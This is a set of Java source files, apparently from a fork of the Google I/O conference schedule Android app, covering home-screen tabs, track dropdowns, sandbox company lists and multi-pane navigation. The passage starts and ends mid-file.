{@link com.google.android.apps.iosched.provider.ScheduleContract.Sandbox} * query parameters. */ private interface SandboxQuery { int _TOKEN = 0x1; String[] PROJECTION = { BaseColumns._ID, ScheduleContract.Sandbox.COMPANY_ID, ScheduleContract.Sandbox.COMPANY_NAME, }; int _ID = 0; int COMPANY_ID = 1; int NAME = 2; } @Override public Loader<Cursor> onCreateLoader(int id, Bundle data) { return new CursorLoader(getActivity(), mSandboxUri, SandboxQuery.PROJECTION, null, null, ScheduleContract.Sandbox.DEFAULT_SORT); } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { if (getActivity() == null) { return; } int token = loader.getId(); if (token == SandboxQuery._TOKEN) { mAdapter.changeCursor(cursor); } else { cursor.close(); } } @Override public void onLoaderReset(Loader<Cursor> cursor) { } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SandboxFragment.java
Java
asf20
8,029
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.accounts.Account; import android.annotation.TargetApi; import android.app.SearchManager; import android.content.ContentResolver; import android.content.Intent; import android.content.SyncStatusObserver; import android.os.AsyncTask; import android.os.Build; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentPagerAdapter; import android.support.v4.app.FragmentTransaction; import android.support.v4.view.MenuItemCompat; import android.support.v4.view.ViewPager; import android.support.v7.app.ActionBar; import android.text.TextUtils; import android.view.Menu; import android.view.MenuItem; import android.widget.SearchView; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.Config; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.gcm.ServerUtilities; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.sync.SyncHelper; import com.google.android.apps.iosched.util.*; import com.google.android.gcm.GCMRegistrar; import com.google.android.gms.auth.GoogleAuthUtil; import static com.google.android.apps.iosched.util.LogUtils.*; public class HomeActivity extends BaseActivity implements ActionBar.TabListener, ViewPager.OnPageChangeListener { private static final String TAG = makeLogTag(HomeActivity.class); public static final String EXTRA_DEFAULT_TAB = "com.google.android.apps.iosched.extra.DEFAULT_TAB"; public static final String TAB_EXPLORE = "explore"; private Object mSyncObserverHandle; private SocialStreamFragment mSocialStreamFragment; private ViewPager mViewPager; private Menu mOptionsMenu; private AsyncTask<Void, Void, Void> mGCMRegisterTask; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if (isFinishing()) { return; } UIUtils.enableDisableActivitiesByFormFactor(this); setContentView(R.layout.activity_home); FragmentManager fm = getSupportFragmentManager(); mViewPager = (ViewPager) findViewById(R.id.pager); String homeScreenLabel; if (mViewPager != null) { // Phone setup mViewPager.setAdapter(new HomePagerAdapter(getSupportFragmentManager())); mViewPager.setOnPageChangeListener(this); mViewPager.setPageMarginDrawable(R.drawable.grey_border_inset_lr); mViewPager.setPageMargin(getResources() .getDimensionPixelSize(R.dimen.page_margin_width)); final ActionBar actionBar = getSupportActionBar(); actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_TABS); actionBar.addTab(actionBar.newTab() .setText(R.string.title_my_schedule) .setTabListener(this)); actionBar.addTab(actionBar.newTab() .setText(R.string.title_explore) .setTabListener(this)); actionBar.addTab(actionBar.newTab() .setText(R.string.title_stream) .setTabListener(this)); setHasTabs(); if (getIntent() != null && TAB_EXPLORE.equals(getIntent().getStringExtra(EXTRA_DEFAULT_TAB)) && savedInstanceState == null) { mViewPager.setCurrentItem(1); } homeScreenLabel = getString(R.string.title_my_schedule); } else { mSocialStreamFragment = (SocialStreamFragment) fm.findFragmentById(R.id.fragment_stream); homeScreenLabel = "Home"; } getSupportActionBar().setHomeButtonEnabled(false); EasyTracker.getTracker().sendView(homeScreenLabel); LOGD("Tracker", homeScreenLabel); // Sync data on load if (savedInstanceState == null) { registerGCMClient(); } } private void registerGCMClient() { GCMRegistrar.checkDevice(this); GCMRegistrar.checkManifest(this); final String regId = GCMRegistrar.getRegistrationId(this); if (TextUtils.isEmpty(regId)) { // Automatically registers application on startup. GCMRegistrar.register(this, Config.GCM_SENDER_ID); } else { // Device is already registered on GCM, needs to check if it is // registered on our server as well. if (ServerUtilities.isRegisteredOnServer(this)) { // Skips registration. LOGI(TAG, "Already registered on the C2DM server"); } else { // Try to register again, but not in the UI thread. // It's also necessary to cancel the thread onDestroy(), // hence the use of AsyncTask instead of a raw thread. mGCMRegisterTask = new AsyncTask<Void, Void, Void>() { @Override protected Void doInBackground(Void... params) { boolean registered = ServerUtilities.register(HomeActivity.this, regId); // At this point all attempts to register with the app // server failed, so we need to unregister the device // from GCM - the app will try to register again when // it is restarted. Note that GCM will send an // unregistered callback upon completion, but // GCMIntentService.onUnregistered() will ignore it. if (!registered) { GCMRegistrar.unregister(HomeActivity.this); } return null; } @Override protected void onPostExecute(Void result) { mGCMRegisterTask = null; } }; mGCMRegisterTask.execute(null, null, null); } } } @Override protected void onDestroy() { super.onDestroy(); if (mGCMRegisterTask != null) { mGCMRegisterTask.cancel(true); } try { GCMRegistrar.onDestroy(this); } catch (Exception e) { LOGW(TAG, "C2DM unregistration error", e); } } @Override public void onTabSelected(ActionBar.Tab tab, FragmentTransaction fragmentTransaction) { mViewPager.setCurrentItem(tab.getPosition()); } @Override public void onTabUnselected(ActionBar.Tab tab, FragmentTransaction fragmentTransaction) { } @Override public void onTabReselected(ActionBar.Tab tab, FragmentTransaction fragmentTransaction) { } @Override public void onPageScrolled(int i, float v, int i1) { } @Override public void onPageSelected(int position) { getSupportActionBar().setSelectedNavigationItem(position); int titleId = -1; switch (position) { case 0: titleId = R.string.title_my_schedule; break; case 1: titleId = R.string.title_explore; break; case 2: titleId = R.string.title_stream; break; } String title = getString(titleId); EasyTracker.getTracker().sendView(title); LOGD("Tracker", title); } @Override public void onPageScrollStateChanged(int i) { } @Override protected void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); // Since the pager fragments don't have known tags or IDs, the only way to persist the // reference is to use putFragment/getFragment. Remember, we're not persisting the exact // Fragment instance. This mechanism simply gives us a way to persist access to the // 'current' fragment instance for the given fragment (which changes across orientation // changes). // // The outcome of all this is that the "Refresh" menu button refreshes the stream across // orientation changes. if (mSocialStreamFragment != null) { getSupportFragmentManager().putFragment(outState, "stream_fragment", mSocialStreamFragment); } } @Override protected void onRestoreInstanceState(Bundle savedInstanceState) { super.onRestoreInstanceState(savedInstanceState); if (mSocialStreamFragment == null) { mSocialStreamFragment = (SocialStreamFragment) getSupportFragmentManager() .getFragment(savedInstanceState, "stream_fragment"); } } private class HomePagerAdapter extends FragmentPagerAdapter { public HomePagerAdapter(FragmentManager fm) { super(fm); } @Override public Fragment getItem(int position) { switch (position) { case 0: return new ScheduleFragment(); case 1: return new ExploreFragment(); case 2: return (mSocialStreamFragment = new SocialStreamFragment()); } return null; } @Override public int getCount() { return 3; } } @TargetApi(Build.VERSION_CODES.HONEYCOMB) @Override public boolean onCreateOptionsMenu(Menu menu) { super.onCreateOptionsMenu(menu); mOptionsMenu = menu; getMenuInflater().inflate(R.menu.home, menu); MenuItem searchItem = menu.findItem(R.id.menu_search); if (searchItem != null && UIUtils.hasHoneycomb()) { SearchView searchView = (SearchView) searchItem.getActionView(); if (searchView != null) { SearchManager searchManager = (SearchManager) getSystemService(SEARCH_SERVICE); searchView.setSearchableInfo(searchManager.getSearchableInfo(getComponentName())); searchView.setQueryRefinementEnabled(true); } } MenuItem wifiItem = menu.findItem(R.id.menu_wifi); if (!PrefUtils.isAttendeeAtVenue(this) || (WiFiUtils.isWiFiEnabled(this) && WiFiUtils.isWiFiApConfigured(this))) { wifiItem.setVisible(false); } return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.menu_refresh: triggerRefresh(); return true; case R.id.menu_search: if (!UIUtils.hasHoneycomb()) { startSearch(null, false, Bundle.EMPTY, false); return true; } break; case R.id.menu_about: HelpUtils.showAbout(this); return true; case R.id.menu_wifi: WiFiUtils.showWiFiDialog(this); return true; case R.id.menu_settings: startActivity(new Intent(this, SettingsActivity.class)); return true; case R.id.menu_sign_out: AccountUtils.signOut(this); finish(); return true; } return super.onOptionsItemSelected(item); } private void triggerRefresh() { SyncHelper.requestManualSync(AccountUtils.getChosenAccount(this)); if (mSocialStreamFragment != null) { mSocialStreamFragment.refresh(); } } @Override protected void onPause() { super.onPause(); if (mSyncObserverHandle != null) { ContentResolver.removeStatusChangeListener(mSyncObserverHandle); mSyncObserverHandle = null; } } @Override protected void onResume() { super.onResume(); mSyncStatusObserver.onStatusChanged(0); // Watch for sync state changes final int mask = ContentResolver.SYNC_OBSERVER_TYPE_PENDING | ContentResolver.SYNC_OBSERVER_TYPE_ACTIVE; mSyncObserverHandle = ContentResolver.addStatusChangeListener(mask, mSyncStatusObserver); // Set up conference WiFi AP if requested by user. WiFiUtils.installWiFiIfRequested(this); // Refresh options menu. Menu item visibility could be altered by user preferences. supportInvalidateOptionsMenu(); } void setRefreshActionButtonState(boolean refreshing) { if (mOptionsMenu == null) { return; } final MenuItem refreshItem = mOptionsMenu.findItem(R.id.menu_refresh); if (refreshItem != null) { if (refreshing) { MenuItemCompat.setActionView(refreshItem, R.layout.actionbar_indeterminate_progress); } else { MenuItemCompat.setActionView(refreshItem, null); } } } private SyncStatusObserver mSyncStatusObserver = new SyncStatusObserver() { @Override public void onStatusChanged(int which) { runOnUiThread(new Runnable() { @Override public void run() { String accountName = AccountUtils.getChosenAccountName(HomeActivity.this); if (TextUtils.isEmpty(accountName)) { setRefreshActionButtonState(false); return; } Account account = new Account(accountName, GoogleAuthUtil.GOOGLE_ACCOUNT_TYPE); boolean syncActive = ContentResolver.isSyncActive( account, ScheduleContract.CONTENT_AUTHORITY); boolean syncPending = ContentResolver.isSyncPending( account, ScheduleContract.CONTENT_AUTHORITY); setRefreshActionButtonState(syncActive || syncPending); } }); } }; }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/HomeActivity.java
Java
asf20
14,808
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.tablet; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.TracksAdapter; import com.google.android.apps.iosched.util.ParserUtils; import android.annotation.TargetApi; import android.app.Activity; import android.content.res.Resources; import android.database.Cursor; import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.drawable.BitmapDrawable; import android.os.Build; import android.os.Bundle; import android.os.Handler; import android.support.v4.app.Fragment; import android.support.v4.app.LoaderManager; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.ImageView; import android.widget.ListPopupWindow; import android.widget.PopupWindow; import android.widget.TextView; /** * A tablet-specific fragment that is a giant {@link android.widget.Spinner} * -like widget. It shows a {@link ListPopupWindow} containing a list of tracks, * using {@link TracksAdapter}. Requires API level 11 or later since * {@link ListPopupWindow} is API level 11+. */ @TargetApi(Build.VERSION_CODES.HONEYCOMB) public class TracksDropdownFragment extends Fragment implements LoaderManager.LoaderCallbacks<Cursor>, AdapterView.OnItemClickListener, PopupWindow.OnDismissListener { public static final int VIEW_TYPE_SESSIONS = 0; public static final int VIEW_TYPE_OFFICE_HOURS = 1; public static final int VIEW_TYPE_SANDBOX = 2; private static final String STATE_VIEW_TYPE = "viewType"; private static final String STATE_SELECTED_TRACK_ID = "selectedTrackId"; private TracksAdapter mAdapter; private int mViewType; private Handler mHandler = new Handler(); private ListPopupWindow mListPopupWindow; private ViewGroup mRootView; private ImageView mIcon; private TextView mTitle; private TextView mAbstract; private String mTrackId; public interface Callbacks { public void onTrackSelected(String trackId); public void onTrackNameAvailable(String trackId, String trackName); } private static Callbacks sDummyCallbacks = new Callbacks() { @Override public void onTrackSelected(String trackId) { } @Override public void onTrackNameAvailable(String trackId, String trackName) {} }; private Callbacks mCallbacks = sDummyCallbacks; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mAdapter = new TracksAdapter(getActivity(), true); if (savedInstanceState != null) { // Since this fragment doesn't rely on fragment arguments, we must // handle state restores and saves ourselves. mViewType = savedInstanceState.getInt(STATE_VIEW_TYPE); mTrackId = savedInstanceState.getString(STATE_SELECTED_TRACK_ID); } } @Override public void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); outState.putInt(STATE_VIEW_TYPE, mViewType); outState.putString(STATE_SELECTED_TRACK_ID, mTrackId); } public String getSelectedTrackId() { return mTrackId; } public void selectTrack(String trackId) { loadTrackList(mViewType, trackId); } public void loadTrackList(int viewType) { loadTrackList(viewType, mTrackId); } public void loadTrackList(int viewType, String selectTrackId) { // Teardown from previous arguments if (mListPopupWindow != null) { mListPopupWindow.setAdapter(null); } mViewType = viewType; mTrackId = selectTrackId; // Start background query to load tracks getLoaderManager().restartLoader(TracksAdapter.TracksQuery._TOKEN, null, this); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { mRootView = (ViewGroup) inflater.inflate(R.layout.fragment_tracks_dropdown, null); mIcon = (ImageView) mRootView.findViewById(R.id.track_icon); mTitle = (TextView) mRootView.findViewById(R.id.track_title); mAbstract = (TextView) mRootView.findViewById(R.id.track_abstract); mRootView.setOnClickListener(new View.OnClickListener() { public void onClick(View view) { mListPopupWindow = new ListPopupWindow(getActivity()); mListPopupWindow.setAdapter(mAdapter); mListPopupWindow.setModal(true); mListPopupWindow.setContentWidth( getResources().getDimensionPixelSize(R.dimen.track_dropdown_width)); mListPopupWindow.setAnchorView(mRootView); mListPopupWindow.setOnItemClickListener(TracksDropdownFragment.this); mListPopupWindow.show(); mListPopupWindow.setOnDismissListener(TracksDropdownFragment.this); } }); return mRootView; } @Override public void onAttach(Activity activity) { super.onAttach(activity); if (!(activity instanceof Callbacks)) { throw new ClassCastException("Activity must implement fragment's callbacks."); } mCallbacks = (Callbacks) activity; } @Override public void onDetach() { super.onDetach(); mCallbacks = sDummyCallbacks; if (mListPopupWindow != null) { mListPopupWindow.dismiss(); } } /** {@inheritDoc} */ public void onItemClick(AdapterView<?> parent, View view, int position, long id) { final Cursor cursor = (Cursor) mAdapter.getItem(position); loadTrack(cursor, true); if (mListPopupWindow != null) { mListPopupWindow.dismiss(); } } public String getTrackName() { return (String) mTitle.getText(); } private void loadTrack(Cursor cursor, boolean triggerCallback) { final int trackColor; final Resources res = getResources(); if (cursor != null) { trackColor = cursor.getInt(TracksAdapter.TracksQuery.TRACK_COLOR); mTrackId = cursor.getString(TracksAdapter.TracksQuery.TRACK_ID); String trackName = cursor.getString(TracksAdapter.TracksQuery.TRACK_NAME); mTitle.setText(trackName); mAbstract.setText(cursor.getString(TracksAdapter.TracksQuery.TRACK_ABSTRACT)); int iconResId = res.getIdentifier( "track_" + ParserUtils.sanitizeId(trackName), "drawable", getActivity().getPackageName()); if (iconResId != 0) { BitmapDrawable sourceIconDrawable = (BitmapDrawable) res.getDrawable(iconResId); Bitmap icon = Bitmap.createBitmap(sourceIconDrawable.getIntrinsicWidth(), sourceIconDrawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888); Canvas canvas = new Canvas(icon); sourceIconDrawable.setBounds(0, 0, icon.getWidth(), icon.getHeight()); sourceIconDrawable.draw(canvas); BitmapDrawable iconDrawable = new BitmapDrawable(res, icon); mIcon.setImageDrawable(iconDrawable); } else { mIcon.setImageDrawable(null); } } else { trackColor = res.getColor(R.color.all_track_color); mTrackId = ScheduleContract.Tracks.ALL_TRACK_ID; mIcon.setImageDrawable(null); switch (mViewType) { case VIEW_TYPE_SESSIONS: mTitle.setText(R.string.all_tracks_sessions); mAbstract.setText(R.string.all_tracks_subtitle_sessions); break; case VIEW_TYPE_OFFICE_HOURS: mTitle.setText(R.string.all_tracks_office_hours); mAbstract.setText(R.string.all_tracks_subtitle_office_hours); break; case VIEW_TYPE_SANDBOX: mTitle.setText(R.string.all_tracks_sandbox); mAbstract.setText(R.string.all_tracks_subtitle_sandbox); break; } } mRootView.setBackgroundColor(trackColor); mCallbacks.onTrackNameAvailable(mTrackId, mTitle.getText().toString()); if (triggerCallback) { mHandler.post(new Runnable() { @Override public void run() { mCallbacks.onTrackSelected(mTrackId); } }); } } public void onDismiss() { mListPopupWindow = null; } @Override public Loader<Cursor> onCreateLoader(int id, Bundle data) { // Filter our tracks query to only include those with valid results String[] projection = TracksAdapter.TracksQuery.PROJECTION; String selection = null; switch (mViewType) { case VIEW_TYPE_SESSIONS: // Only show tracks with at least one session projection = TracksAdapter.TracksQuery.PROJECTION_WITH_SESSIONS_COUNT; selection = ScheduleContract.Tracks.SESSIONS_COUNT + ">0"; break; case VIEW_TYPE_OFFICE_HOURS: // Only show tracks with at least one office hours projection = TracksAdapter.TracksQuery.PROJECTION_WITH_OFFICE_HOURS_COUNT; selection = ScheduleContract.Tracks.OFFICE_HOURS_COUNT + ">0"; break; case VIEW_TYPE_SANDBOX: // Only show tracks with at least one company projection = TracksAdapter.TracksQuery.PROJECTION_WITH_SANDBOX_COUNT; selection = ScheduleContract.Tracks.SANDBOX_COUNT + ">0"; break; } return new CursorLoader(getActivity(), ScheduleContract.Tracks.CONTENT_URI, projection, selection, null, ScheduleContract.Tracks.DEFAULT_SORT); } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { if (getActivity() == null || cursor == null) { return; } boolean trackLoaded = false; if (mTrackId != null) { cursor.moveToFirst(); while (!cursor.isAfterLast()) { if (mTrackId.equals(cursor.getString(TracksAdapter.TracksQuery.TRACK_ID))) { loadTrack(cursor, false); trackLoaded = true; break; } cursor.moveToNext(); } } if (!trackLoaded) { loadTrack(null, false); } mAdapter.setHasAllItem(true); mAdapter.changeCursor(cursor); } @Override public void onLoaderReset(Loader<Cursor> cusor) { } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/tablet/TracksDropdownFragment.java
Java
asf20
11,728
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui.tablet; import android.annotation.TargetApi; import android.app.SearchManager; import android.content.Intent; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.widget.SlidingPaneLayout; import android.support.v7.app.ActionBar; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.SearchView; import android.widget.SpinnerAdapter; import android.widget.TextView; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.ui.*; import com.google.android.apps.iosched.util.BeamUtils; import com.google.android.apps.iosched.util.ImageLoader; import com.google.android.apps.iosched.util.UIUtils; import static com.google.android.apps.iosched.util.LogUtils.LOGD; /** * A multi-pane activity, consisting of a {@link TracksDropdownFragment}, a * {@link SessionsFragment} or {@link com.google.android.apps.iosched.ui.SandboxFragment}, and {@link SessionDetailFragment} or * {@link com.google.android.apps.iosched.ui.SandboxDetailFragment}. * * This activity requires API level 11 or greater. */ @TargetApi(Build.VERSION_CODES.HONEYCOMB) public class SessionsSandboxMultiPaneActivity extends BaseActivity implements ActionBar.OnNavigationListener, SessionsFragment.Callbacks, SandboxFragment.Callbacks, SandboxDetailFragment.Callbacks, TracksDropdownFragment.Callbacks, TrackInfoHelperFragment.Callbacks, ImageLoader.ImageLoaderProvider { public static final String EXTRA_MASTER_URI = "com.google.android.apps.iosched.extra.MASTER_URI"; public static final String EXTRA_DEFAULT_VIEW_TYPE = "com.google.android.apps.iosched.extra.DEFAULT_VIEW_TYPE"; private static final String STATE_VIEW_TYPE = "view_type"; private TracksDropdownFragment mTracksDropdownFragment; private Fragment mDetailFragment; private boolean mFullUI = false; private SlidingPaneLayout mSlidingPaneLayout; private int mViewType; private boolean mInitialTabSelect = true; private ImageLoader mImageLoader; @Override protected void onCreate(Bundle savedInstanceState) { UIUtils.tryTranslateHttpIntent(this); BeamUtils.tryUpdateIntentFromBeam(this); super.onCreate(savedInstanceState); setContentView(R.layout.activity_sessions_sandbox); final FragmentManager fm = getSupportFragmentManager(); mTracksDropdownFragment = (TracksDropdownFragment) fm.findFragmentById( R.id.fragment_tracks_dropdown); mSlidingPaneLayout = (SlidingPaneLayout) findViewById(R.id.sliding_pane_layout); // Offset the left pane by its full width and left margin when collapsed // (ViewPager-like presentation) mSlidingPaneLayout.setParallaxDistance( getResources().getDimensionPixelSize(R.dimen.sliding_pane_width) + getResources().getDimensionPixelSize(R.dimen.multipane_padding)); mSlidingPaneLayout.setSliderFadeColor(getResources().getColor( R.color.sliding_pane_content_fade)); routeIntent(getIntent(), savedInstanceState != null); if (savedInstanceState != null) { if (mFullUI) { int viewType = savedInstanceState.getInt(STATE_VIEW_TYPE); getSupportActionBar().setSelectedNavigationItem(viewType); } mDetailFragment = fm.findFragmentById(R.id.fragment_container_detail); updateDetailBackground(); } // This flag prevents onTabSelected from triggering extra master pane reloads // unless it's actually being triggered by the user (and not automatically by // the system) mInitialTabSelect = false; mImageLoader = new ImageLoader(this, R.drawable.person_image_empty) .setMaxImageSize(getResources().getDimensionPixelSize(R.dimen.speaker_image_size)) .setFadeInImage(UIUtils.hasHoneycombMR1()); EasyTracker.getInstance().setContext(this); } private void routeIntent(Intent intent, boolean updateSurfaceOnly) { Uri uri = intent.getData(); if (uri == null) { return; } if (intent.hasExtra(Intent.EXTRA_TITLE)) { setTitle(intent.getStringExtra(Intent.EXTRA_TITLE)); } String mimeType = getContentResolver().getType(uri); if (ScheduleContract.Tracks.CONTENT_ITEM_TYPE.equals(mimeType)) { // Load track details showFullUI(true); if (!updateSurfaceOnly) { // TODO: don't assume the URI will contain the track ID int defaultViewType = intent.getIntExtra(EXTRA_DEFAULT_VIEW_TYPE, TracksDropdownFragment.VIEW_TYPE_SESSIONS); String selectedTrackId = ScheduleContract.Tracks.getTrackId(uri); loadTrackList(defaultViewType, selectedTrackId); getSupportActionBar().setSelectedNavigationItem(defaultViewType); onTrackSelected(selectedTrackId); mSlidingPaneLayout.openPane(); } } else if (ScheduleContract.Sessions.CONTENT_TYPE.equals(mimeType)) { // Load a session list, hiding the tracks dropdown and the tabs mViewType = TracksDropdownFragment.VIEW_TYPE_SESSIONS; showFullUI(false); if (!updateSurfaceOnly) { loadSessionList(uri, null); mSlidingPaneLayout.openPane(); } } else if (ScheduleContract.Sessions.CONTENT_ITEM_TYPE.equals(mimeType)) { // Load session details if (intent.hasExtra(EXTRA_MASTER_URI)) { mViewType = TracksDropdownFragment.VIEW_TYPE_SESSIONS; showFullUI(false); if (!updateSurfaceOnly) { loadSessionList((Uri) intent.getParcelableExtra(EXTRA_MASTER_URI), ScheduleContract.Sessions.getSessionId(uri)); loadSessionDetail(uri); } } else { mViewType = TracksDropdownFragment.VIEW_TYPE_SESSIONS; // prepare for onTrackInfo... showFullUI(true); if (!updateSurfaceOnly) { loadSessionDetail(uri); loadTrackInfoFromSessionUri(uri); } } } else if (ScheduleContract.Sandbox.CONTENT_TYPE.equals(mimeType)) { // Load a sandbox company list mViewType = TracksDropdownFragment.VIEW_TYPE_SANDBOX; showFullUI(false); if (!updateSurfaceOnly) { loadSandboxList(uri, null); mSlidingPaneLayout.openPane(); } } else if (ScheduleContract.Sandbox.CONTENT_ITEM_TYPE.equals(mimeType)) { // Load company details mViewType = TracksDropdownFragment.VIEW_TYPE_SANDBOX; showFullUI(false); if (!updateSurfaceOnly) { Uri masterUri = intent.getParcelableExtra(EXTRA_MASTER_URI); if (masterUri == null) { masterUri = ScheduleContract.Sandbox.CONTENT_URI; } loadSandboxList(masterUri, ScheduleContract.Sandbox.getCompanyId(uri)); loadSandboxDetail(uri); } } updateDetailBackground(); } private void showFullUI(boolean fullUI) { mFullUI = fullUI; final ActionBar actionBar = getSupportActionBar(); final FragmentManager fm = getSupportFragmentManager(); if (fullUI) { actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_LIST); actionBar.setDisplayShowTitleEnabled(false); actionBar.setListNavigationCallbacks(mActionBarSpinnerAdapter, this); fm.beginTransaction() .show(fm.findFragmentById(R.id.fragment_tracks_dropdown)) .commit(); } else { actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_STANDARD); actionBar.setDisplayShowTitleEnabled(true); fm.beginTransaction() .hide(fm.findFragmentById(R.id.fragment_tracks_dropdown)) .commit(); } } private SpinnerAdapter mActionBarSpinnerAdapter = new BaseAdapter() { @Override public int getCount() { return 3; } @Override public Object getItem(int position) { return position; } @Override public long getItemId(int position) { return position + 1; } private int getLabelResId(int position) { switch (position) { case TracksDropdownFragment.VIEW_TYPE_SESSIONS: return R.string.title_sessions; case TracksDropdownFragment.VIEW_TYPE_OFFICE_HOURS: return R.string.title_office_hours; case TracksDropdownFragment.VIEW_TYPE_SANDBOX: return R.string.title_sandbox; } return 0; } @Override public View getView(int position, View convertView, ViewGroup container) { if (convertView == null) { convertView = getLayoutInflater().inflate( android.R.layout.simple_spinner_item, container, false); } ((TextView) convertView.findViewById(android.R.id.text1)).setText( getLabelResId(position)); return convertView; } @Override public View getDropDownView(int position, View convertView, ViewGroup container) { if (convertView == null) { convertView = getLayoutInflater().inflate( android.R.layout.simple_spinner_dropdown_item, container, false); } ((TextView) convertView.findViewById(android.R.id.text1)).setText( getLabelResId(position)); return convertView; } }; @Override public boolean onCreateOptionsMenu(Menu menu) { super.onCreateOptionsMenu(menu); getMenuInflater().inflate(R.menu.search, menu); MenuItem searchItem = menu.findItem(R.id.menu_search); if (searchItem != null && UIUtils.hasHoneycomb()) { SearchView searchView = (SearchView) searchItem.getActionView(); if (searchView != null) { SearchManager searchManager = (SearchManager) getSystemService(SEARCH_SERVICE); searchView.setSearchableInfo(searchManager.getSearchableInfo(getComponentName())); searchView.setQueryRefinementEnabled(true); } } return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case android.R.id.home: if (mSlidingPaneLayout.isSlideable() && !mSlidingPaneLayout.isOpen()) { // If showing the detail view, pressing Up should show the master pane. mSlidingPaneLayout.openPane(); return true; } break; case R.id.menu_search: if (!UIUtils.hasHoneycomb()) { startSearch(null, false, Bundle.EMPTY, false); return true; } break; } return super.onOptionsItemSelected(item); } @Override protected void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); outState.putInt(STATE_VIEW_TYPE, mViewType); } @Override public boolean onNavigationItemSelected(int itemPosition, long itemId) { loadTrackList(itemPosition); // itemPosition == view type if (!mInitialTabSelect) { onTrackSelected(mTracksDropdownFragment.getSelectedTrackId()); mSlidingPaneLayout.openPane(); } return true; } private void loadTrackList(int viewType) { loadTrackList(viewType, null); } private void loadTrackList(int viewType, String selectTrackId) { if (mDetailFragment != null && mViewType != viewType) { getSupportFragmentManager().beginTransaction() .remove(mDetailFragment) .commit(); mDetailFragment = null; } mViewType = viewType; if (selectTrackId != null) { mTracksDropdownFragment.loadTrackList(viewType, selectTrackId); } else { mTracksDropdownFragment.loadTrackList(viewType); } updateDetailBackground(); } private void updateDetailBackground() { if (mDetailFragment == null) { if (TracksDropdownFragment.VIEW_TYPE_SESSIONS == mViewType || TracksDropdownFragment.VIEW_TYPE_OFFICE_HOURS == mViewType) { findViewById(R.id.fragment_container_detail).setBackgroundResource( R.drawable.grey_frame_on_white_empty_sessions); } else { findViewById(R.id.fragment_container_detail).setBackgroundResource( R.drawable.grey_frame_on_white_empty_sandbox); } } else { findViewById(R.id.fragment_container_detail).setBackgroundResource( R.drawable.grey_frame_on_white); } } private void loadSessionList(Uri sessionsUri, String selectSessionId) { SessionsFragment fragment = new SessionsFragment(); fragment.setSelectedSessionId(selectSessionId); fragment.setArguments(BaseActivity.intentToFragmentArguments( new Intent(Intent.ACTION_VIEW, sessionsUri))); getSupportFragmentManager().beginTransaction() .replace(R.id.fragment_container_master, fragment) .commit(); } private void loadSessionDetail(Uri sessionUri) { BeamUtils.setBeamSessionUri(this, sessionUri); SessionDetailFragment fragment = new SessionDetailFragment(); fragment.setArguments(BaseActivity.intentToFragmentArguments( new Intent(Intent.ACTION_VIEW, sessionUri))); getSupportFragmentManager().beginTransaction() .replace(R.id.fragment_container_detail, fragment) .commit(); mDetailFragment = fragment; updateDetailBackground(); // If loading session details in portrait, hide the master pane mSlidingPaneLayout.closePane(); } private void loadSandboxList(Uri sandboxUri, String selectCompanyId) { SandboxFragment fragment = new SandboxFragment(); fragment.setSelectedCompanyId(selectCompanyId); fragment.setArguments(BaseActivity.intentToFragmentArguments( new Intent(Intent.ACTION_VIEW, sandboxUri))); getSupportFragmentManager().beginTransaction() 